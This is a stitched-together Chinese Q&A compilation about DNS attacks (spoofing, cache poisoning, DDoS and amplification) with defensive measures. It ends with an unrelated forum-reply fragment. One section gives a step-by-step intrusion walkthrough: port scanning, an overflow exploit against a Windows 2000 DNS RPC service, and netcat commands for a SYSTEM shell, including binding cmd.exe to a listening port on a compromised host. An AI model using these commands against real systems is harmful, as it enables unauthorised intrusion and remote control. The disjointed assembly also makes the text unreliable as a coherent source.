1、DNS攻击事件是什么？
定义： DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。
原理：如果可以冒充域名服务版器，然后把查权询的IP地址设为攻击者的IP地址，这样的话，用户上网就只能看到攻击者的主页，而不是用户想要取得的网站的主页了，这就是DNS欺骗的基本原理。DNS欺骗其实并不是真的“黑掉”了对方的网站，而是冒名顶替、招摇撞骗罢了。
现在的Internet上存在的DNS服务器有绝大多数都是用bind来架设的,使用的bind版本主要为bind 4.9.5+P1以前版本和bind 8.2.2-P5以前版本.这些bind有个共同的特点,就是BIND会缓存(Cache)所有已经查询过的结果,这个问题就引起了下面的几个问题的存在.
1>.DNS欺骗
在DNS的缓存还没有过期之前,如果在DNS的缓存中已经存在的记录,一旦有客户查询,DNS服务器将会直接返回缓存中的记录.
2、几种针对DNS的DDoS攻击应对方法
DDoS攻击是指通过僵尸网络利用各种服务请求耗尽被攻击网络的系统资源，造成被攻击网络无法处理合法用户的请求。而针对DNS的DDoS攻击又可按攻击发起者和攻击特征进行分类：
1、按攻击发起者分类 僵尸网络：控制大批僵尸网络利用真实DNS协议栈发起大量域名查询请求 模拟工具：利用工具软件伪造源IP发送海量DNS查询
2、按攻击特征分类 Flood攻击：发送海量DNS查询报文导致网络带宽耗尽而无法传送正常DNS 查询请求。
资源消耗攻击：发送大量非法域名查询报文引起DNS服务器持续进行迭代查询，从而达到较少的攻击流量消耗大量服务器资源的目的。
处理办法：
屏蔽未经请求发送的DNS响应信息
一个典型的DNS交换信息是由请求信息组成的。DNS解析器会将用户的请求信息发送至DNS服务器中，在DNS服务器对查询请求进行处理之后，服务器会将响应信息返回给DNS解析器。但值得注意的是，响应信息是不会主动发送的。
服务器在没有接收到查询请求之前，就已经生成了对应的响应信息，回应就被丢弃
丢弃快速重传数据包。
1.即便是在数据包丢失的情况下，任何合法的DNS客户端都不会在较短的时间间隔内向同一DNS服务器发送相同的DNS查询请求。
2.如果从相同IP地址发送至同一目标地址的相同查询请求发送频率过高，这些请求数据包可丢弃。
启用TTL
如果DNS服务器已经将响应信息成功发送了，应该禁止服务器在较短的时间间隔内对相同的查询请求信息进行响应。
1.对于一个合法的DNS客户端如果已经接收到了响应信息，就不会再次发送相同的查询请求。
2.每一个响应信息都应进行缓存处理直到TTL过期。
3.当DNS服务器遭遇大量查询请求时，可以屏蔽掉不需要的数据包。
丢弃未知来源的DNS查询请求和响应数据
通常情况下，攻击者会利用脚本来对目标进行分布式拒绝服务攻击（DDoS攻击），而且这些脚本通常是有漏洞的。因此，在服务器中部署简单的匿名检测机制，在某种程度上可以限制传入服务器的数据包数量。
丢弃未经请求或突发的DNS请求
这类请求信息很可能是由伪造的代理服务器所发送的，或是由于客户端配置错误或者是攻击流量。所以无论是哪一种情况，都应该直接丢弃这类数据包。
非泛洪攻击 (non-flood) 时段，创建一个白名单，添加允许服务器处理的合法请求信息。白名单可以屏蔽掉非法的查询请求信息以及此前从未见过的数据包。
这种方法能够有效地保护服务器不受泛洪攻击的威胁，也能保证合法的域名服务器只对合法的DNS查询请求进行处理和响应。
启动DNS客户端验证
伪造是DNS攻击中常用的一种技术。如果设备可以启动客户端验证信任状，便可以用于从伪造泛洪数据中筛选出非泛洪数据包。
对响应信息进行缓存处理
如果某一查询请求对应的响应信息已经存在于服务器的DNS缓存之中，缓存可以直接对请求进行处理。这样可以有效地防止服务器因过载而发生宕机。
很多请求中包含了服务器不具有或不支持的信息，我们可以进行简单的阻断设置，例如外部IP地址请求区域转换或碎片化数据包，直接将这类请求数据包丢弃。
利用ACL，BCP38，及IP信誉功能的使用
托管DNS服务器的任何企业都有用户轨迹的限制，当攻击数据包被伪造，伪造请求来自世界各地的源地址。设置一个简单的过滤器可阻断不需要的地理位置的IP地址请求或只允许在地理位置白名单内的IP请求。
还有一种情况，某些伪造的数据包可能来自与内部网络地址，可以利用BCP38通过硬件过滤也可以清除异常来源地址的请求。
BCP38对于提供DNS解析的服务提供商也相当有用，可以避免用户向外发送攻击或受到内部地址请求的攻击，过滤用户并保证其数据传输。
提供余量带宽
如果服务器日常需要处理的DNS通信量达到了X Gbps，请确保流量通道不止是日常的量，有一定的带宽余量可以有利于处理大规模攻击。
结语，目前针对DNS的攻击已成为最严重的网络威胁之一。目前越来越多的大型网站注重DNS保护这一块。为保障网站安全，保障网站利益，选择高防型的DNS为自己的域名进行解析已经迫在眉睫。
希望可以帮到您，谢谢！
3、如何有效防范DNS放大攻击
这种攻击是一种数据包的大量变体能够产生针对一个目标的大量的虚假的通讯。这种虚假通讯的数量有多大?每秒钟达数GB，足以阻止任何人进入互联网。
与老式的“smurf attacks”攻击非常相似，DNS放大攻击使用针对无辜的第三方的欺骗性的数据包来放大通讯量，其目的是耗尽受害者的全部带宽。但是，“smurf attacks”攻击是向一个网络广播地址发送数据包以达到放大通讯的目的。DNS放大攻击不包括广播地址。相反，这种攻击向互联网上的一系列无辜的第三方DNS服务器发送小的和欺骗性的询问信息。这些DNS服务器随后将向表面上是提出查询的那台服务器发回大量的回复，导致通讯量的放大并且最终把攻击目标淹没。因为DNS是以无状态的UDP数据包为基础的，采取这种欺骗方式是司空见惯的。
当前许多DNS服务器支持EDNS。EDNS是DNS的一套扩大机制，RFC 2671对次有介绍。一些选择能够让DNS回复超过512字节并且仍然使用UDP，如果要求者指出它能够处理这样大的DNS查询的话。攻击者已经利用这种方法产生了大量的通讯。通过发送一个60个字节的查询来获取一个大约4000个字节的记录，攻击者能够把通讯量放大66倍。一些这种性质的攻击已经产生了每秒钟许多GB的通讯量，对于某些目标的攻击甚至超过了每秒钟10GB的通讯量。
要实现这种攻击，攻击者首先要找到几台代表互联网上的某个人实施循环查询工作的第三方DNS服务器(大多数DNS服务器都有这种设置)。由于支持循环查询，攻击者可以向一台DNS服务器发送一个查询，这台DNS服务器随后把这个查询(以循环的方式)发送给攻击者选择的一台DNS服务器。接下来，攻击者向这些服务器发送一个DNS记录查询，这个记录是攻击者在自己的DNS服务器上控制的。由于这些服务器被设置为循环查询，这些第三方服务器就向攻击者发回这些请求。攻击者在DNS服务器上存储了一个4000个字节的文本用于进行这种DNS放大攻击。
现在，由于攻击者已经向第三方DNS服务器的缓存中加入了大量的记录，攻击者接下来向这些服务器发送DNS查询信息(带有启用大量回复的EDNS选项)，并采取欺骗手段让那些DNS服务器认为这个查询信息是从攻击者希望攻击的那个IP地址发出来的。这些第三方DNS服务器于是就用这个4000个字节的文本记录进行回复，用大量的UDP数据包淹没受害者。攻击者向第三方DNS服务器发出数百万小的和欺骗性的查询信息，这些DNS服务器将用大量的DNS回复数据包淹没那个受害者。
如何防御这种大规模攻击呢?首先，保证你拥有足够的带宽承受小规模的洪水般的攻击。一个单一的T1线路对于重要的互联网连接是不够的，因为任何恶意的脚本少年都可以消耗掉你的带宽。如果你的连接不是执行重要任务的，一条T1线路就够了。否则，你就需要更多的带宽以便承受小规模的洪水般的攻击。不过，几乎任何人都无法承受每秒钟数GB的DNS放大攻击。
因此，你要保证手边有能够与你的ISP随时取得联系的应急电话号码。这样，一旦发生这种攻击，你可以马上与ISP联系，让他们在上游过滤掉这种攻击。要识别这种攻击，你要查看包含DNS回复的大量通讯(源UDP端口53)，特别是要查看那些拥有大量DNS记录的端口。一些ISP已经在其整个网络上部署了传感器以便检测各种类型的早期大量通讯。这样，你的ISP很可能在你发现这种攻击之前就发现和避免了这种攻击。你要问一下你的ISP是否拥有这个能力。
最后，为了帮助阻止恶意人员使用你的DNS服务器作为一个实施这种DNS放大攻击的代理，你要保证你的可以从外部访问的DNS服务器仅为你自己的网络执行循环查询，不为任何互联网上的地址进行这种查询。大多数主要DNS服务器拥有限制循环查询的能力，因此，它们仅接受某些网络的查询，比如你自己的网络。
4、DNS欺骗攻击和防范方法有哪些
一 什么是DNS
DNS 是域名系统 （Domain Name System） 的缩写，该系统用于命名组织到域层次结构中的计算机和网络服务。在Internet上域名与IP地址之间是一一对应的，域名虽然便于人们记忆，但机器之间只能互相认识IP地址，它们之间的转换工作称为域名解析，域名解析需要由专门的域名解析服务器来完成，DNS就是进行域名解析的服务器。
二 DNS的工作原理
DNS 命名用于 Internet 等 TCP/IP 网络中，通过用户友好的名称查找计算机和服务。当用户在应用程序中输入 DNS 名称时，DNS 服务可以将此名称解析为与之相关的其他信息，如 IP 地址。因为，你在上网时输入的网址，是通过域名解析系解析找到相对应的IP地址，这样才能上网。其实，域名的最终指向是IP。
在IPV4中IP是由32位二进制数组成的，将这32位二进制数分成4组每组8个二进制数，将这8个二进制数转化成十进制数，就是我们看到的IP地址，其范围是在0～255之间。因为，8个二进制数转化为十进制数的最大范围就是0～255。现在已开始试运行、将来必将代替IPV6中，将以128位二进制数表示一个IP地址。
大家都知道，当我们在上网的时候，通常输入的是如：www.sina.com.cn 这样子的网址，其实这就是一个域名，而我们计算机网络上的计算机彼此之间只能用IP地址才能相互识别。再如，我们去一WEB服务器中请求一WEB页面，我们可以在浏览器中输入网址或者是相应的IP地址，例如我们要上新浪网，我们可以在IE的地址栏中输入：www.sina.com.cn 也可输入这样子 218.30.66.101 的IP地址，但是这样子的IP地址我们记不住或说是很难记住，所以有了域名的说法，这样的域名会让我们容易的记住。
DNS：Domain Name System 域名管理系统 域名是由圆点分开一串单词或缩写组成的，每一个域名都对应一个惟一的IP地址，这一命名的方法或这样管理域名的系统叫做域名管理系统。
DNS：Domain Name Server 域名服务器 域名虽然便于人们记忆，但网络中的计算机之间只能互相认识IP地址，它们之间的转换工作称为域名解析（如上面的www.sina.com.cn 与 218.30.66.101 之间的转换），域名解析需要由专门的域名解析服务器来完成，DNS就是进行域名解析的服务器。
三 DNS欺骗攻击
DNS欺骗即域名信息欺骗是最常见的DNS安全问题。当一个DNS服务器掉入陷阱，使用了来自一个恶意DNS服务器的错误信息，那么该DNS服务器就被欺骗了。DNS欺骗会使那些易受攻击的DNS服务器产生许多安全问题，例如：将用户引导到错误的互联网站点，或者发送一个电子邮件到一个未经授权的邮件服务器。网络攻击者通常通过以下几种方法进行DNS欺骗。
1、缓存感染：
黑客会熟练的使用DNS请求，将数据放入一个没有设防的DNS服务器的缓存当中。这些缓存信息会在客户进行DNS访问时返回给客户，从而将客户引导到入侵者所设置的运行木马的Web服务器或邮件服务器上，然后黑客从这些服务器上获取用户信息。
2、DNS信息劫持：
入侵者通过监听客户端和DNS服务器的对话，通过猜测服务器响应给客户端的DNS查询ID。每个DNS报文包括一个相关联的16位ID号，DNS服务器根据这个ID号获取请求源位置。黑客在DNS服务器之前将虚假的响应交给用户，从而欺骗客户端去访问恶意的网站。
3、DNS重定向
攻击者能够将DNS名称查询重定向到恶意DNS服务器。这样攻击者可以获得DNS服务器的写权限。
四 DNS的防范方法
防范方法其实很简单，总结来说就只有两条。（1） 直接用IP访问重要的服务，这样至少可以避开DNS欺骗攻击。但这需要你记住要访问的IP地址。（2） 加密所有对外的数据流，对服务器来说就是尽量使用SSH之类的有加密支持的协议，对一般用户应该用PGP之类的软件加密所有发到网络上的数据。只要能做到这些，基本上就可以避免DNS欺骗攻击了。
现在知道为什么当你在浏览器中输入正确的URL地址，但是打开的并不是你想要去的网站了吧，这就是神奇的DNS欺骗，希望学习DNS协议欺骗攻击技术有所帮助
5、怎么样防止DNS服务器被攻击3大方法
用户在防火墙日志中发现大量的DNS缓存攻击记录这是电信搞鬼,强制性推广广告以扭转盈利下滑的局面,所以被检测为DNS缓存投毒在DOS下键入ipconfig/flushdns命令清除DNS缓存恶意程序修改你电脑上DNS缓存中的内容，一是让你不能正常上网，比如把.cn的IP地址修改为127.0.0.1，这样无论如何也不能找到新浪网了，二是将某些恶意IP地址放进DNS缓存，比如把.cn对应的IP地址修改为恶意网站地址，当你在地址栏输入.cn的时候，访问的却是恶意网站。由于操作系统在进行DNS解析的时候首先查询DNS缓存，如果在缓存中能查到，就不会再找DNS服务器了。这样一旦dns缓存被修改，你去修改DNS服务器之类的网络参数也是无效的。用IPCONFIG/displaydns命令栏查看当前dns缓存里的内容。用ipconfig/flushdns命令刷新dns缓存中的内容。若要防止dns缓存攻击，应禁用dns缓存，方法：禁用客户端DNS缓存1.启动注册表编辑器(Regedit)。2.在注册表项中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters3.第一行(默认)。键入1，然后单击确定。4.退出注册表编辑器。
6、DNS攻击是指什么
DNS是域名解析系统，因为网络上所有主机都以IPv4来进行标记和识别，就是是通常所说的IP地址（例如192.168.1.1）
然而咱们一般上网访问网页用的都是域名（例如baidu.com），这个域名并不能直接让咱么找到百度的服务器，所以要通过DNS将域名转换为IP地址，所以咱们一般上网的过程是这样的：
输入域名，电脑将域名发送给DNS，DNS返回给电脑IP地址，电脑用IP地址在因特网上找服务器
那么如果DNS返回的IP并不是你想访问的域名的真正IP呢？
这就是所谓的DNS攻击了
一般有两种方式：1.篡改电脑默认DNS的IP地址，将其指向一个已预设为恶意DNS服务器的地址，对用户进行欺骗，这样做比较简单，但是只能攻击一台电脑，而且机主在发现后还可以将DNS的IP改回去
2.直接攻击国家主干DNS服务器，或导致起瘫痪，一类攻击者会把全部域名指向一个错误的IP使用户无法访问网页（但是仍可以直接通过IP地址来访问页面），另一类攻击者会把DNS中的部分域名对应的IP地址篡改为已预设的欺诈服务器IP地址，来套取用户在该真实网站的账户，密码，银行卡，验证码等，来套取钱财。举个例子，某入侵者将支付宝域名所对应的IP改为他自己预设的欺诈服务器的IP，然而这个欺诈服务器的页面和支付宝的真正页面一模一样，用户无法分辨，当用户在上面输入支付宝的账户密码时，这些信息也别欺诈服务器的设置者（DNS攻击者）所获取。这样做可以是某市，某省，甚至某个地区的DNS用户收到影响，而且欺诈行为不易被用户发觉，但是攻击起来却相当麻烦，可不要小看主干DNS的防火墙
7、如何利用dns漏洞入侵
前提是必须要开放53、445端口 1、选择superscan进行扫描，在端口列表中勾选上53、445端口，然后选择主机段进行扫描。
2、选择存在53、445端口的主机，在cmd下输入dns -t ip对主机进行特定漏洞端口扫描，“1028 ：Vulnerability”表示
1028端口存在溢出漏洞，“os:window 2000”表示系统类型为window 2000。
3、在执行dns -t 2000all ip 1028 对目标主机进行溢出。connection to target host tcp port established 成功连接到主机的tcp端口上，
successfully bound to the vulnerale dcerpc interface 已经连接到对方的rpc端口上，os fingerprint result:windows 2000
系统指纹鉴定对方是wind2000系统，attack sent,check port 1100 攻击代码已经成功发送，并尝试连接1100端口。当出现最后这一句
提示语句的时候就意味着我们要成功了。
4、怎么连接对方的1100端口呢，当然我们要使用nc了。
5、nc全称叫"netcat"，这是一个非常简单易用的基于tcp/ip协议（c/s模型的）的“瑞士军刀”。下面介绍一下它的几个常用功能
1、nc.exe -vv -l -p 6069，表示在本地6069端口上进行监听。-vv：显示详细的信息。-l:进行监听，监听入站信息。-p：监听所使用的
端口号。
2、正如我们遇到的情况，对方已经开放了一个端口。他在等待我们连接哦，连接上去会有什么呢？当然是system权限的shell了。
nc.exe -vv 127.0.0.1 5257，连接ip为127.0.0.1的5257端口。
3、还可以在本地监听端口的同时绑定shell，就相当于一个telnet服务端。通常这个命令在肉鸡上执行，然后当我们连接上去就可以获得
这个shell了。nc.exe -l -p 5257 -t -e cmd.exe，在本机5257端口上监听并绑定cmd.exe。-e 作用就是程序定向。-t以telnet的形式
来应答。
4、它可以用来手动对主机提交数据包（通常为80）端口，nc.exe -vv 127.0.0.1 80 <yan.txt，往ip为127.0.0.1的80端口提交yan.txt中
的内容。
6、介绍完nc.exe的四种常用方式，现在知道如何使用nc来链接对方的1100端口了吧，我们使用nc -vv 127.0.0.1 1100 连接对方的1100端口，
成功获得了一个具有system权限的cmdshell，现在想干什么就干什么了。
8、为什么我的电脑会被DNS服务器攻击啊 ？
有可能中病毒，arp病毒在局域网，小区宽带里面挺常见的，没有太好的办法，你只能用
arp -s "ip地址 比如 192。168.0.1" "机器mac地址 "
来静态锁定主机物理地址
以防止arp病毒攻击
9、dns服务器攻击有哪些百度百科
DNS：是做域名解析的。我们平时所输入的网址，都是某台服务器的主机名，比如百度，主机之间通讯是通过IP地址访问的，这个是有需要某个机制，把地址解析成名字，因为IP地址是一串数字，难以记忆，而名字却很好记，这个就是DNS所要完成的，就好像，身份证上面的号码是IP，而名字就是主机名一样。
比如，你要访问百度从你输入网址开始，到网页打开，整个的过程如下：（一切所需的IP地址都是正确的）
1. 你的请求通过你设置的网关地址（网关地址就是路由器内网IP地址）发到公网的DNS服务器（这个DNS服务器是在你网卡设置中设置的）。
2. DNS服务器收到请求之后，查找自己的数据库，寻找你所输入的百度这台服务器的地址是什么，找到之后，再把找到的IP地址告诉你这个客户端。
3. 客户端收到了DNS服务器的回应，获得了百度这台主机的IP地址，然后再向这个IP地址发出请求，当然，也是通过网关出去，最终，你将打开百度这个网页。
这所以出现你的这个提示，应该是你的网卡设置上没有设置DNS造成的，或者DNS设置失败。
你最好先电话咨询一下你们当地的运营商，问问DNS的IP地址是多少，然后再在网卡里设置一下。
在你的主机上，右键点击网上邻居--属性，再右键点击他的网卡（一般都是一个叫本地连接的图标），再选属性，出现一个窗口，在“此连接使用下列项目”的下面选择“internet协议（TCP/IP)，双击这个选项，你会看到一个设置IP地址的对话框。里面有“使用下列DNS服务器”，在这里填写你被告知的DNS地址就可以了
不能随意填写，在宽带的基础上DNS服务器地址 可以选自动的 无影响
TCPIP里的DNS服务器地址是用你宽带线连接的最近服务器地址。
如果有打不开网页等情况发生，就要填自己那个地方的DNS地址，百度上都能搜到。
10、为什么dns服务器攻击我的电脑？
回复
2#
谢谢
但是暂时还不想换墙但是请问
可以不勾选“屏蔽攻击ip5分钟”
的那个选项吗？
不勾选的话
有害处吗？在windows7下
6.7版
虽然也拦截
但不会断网在xp下6.5版
偶尔会断网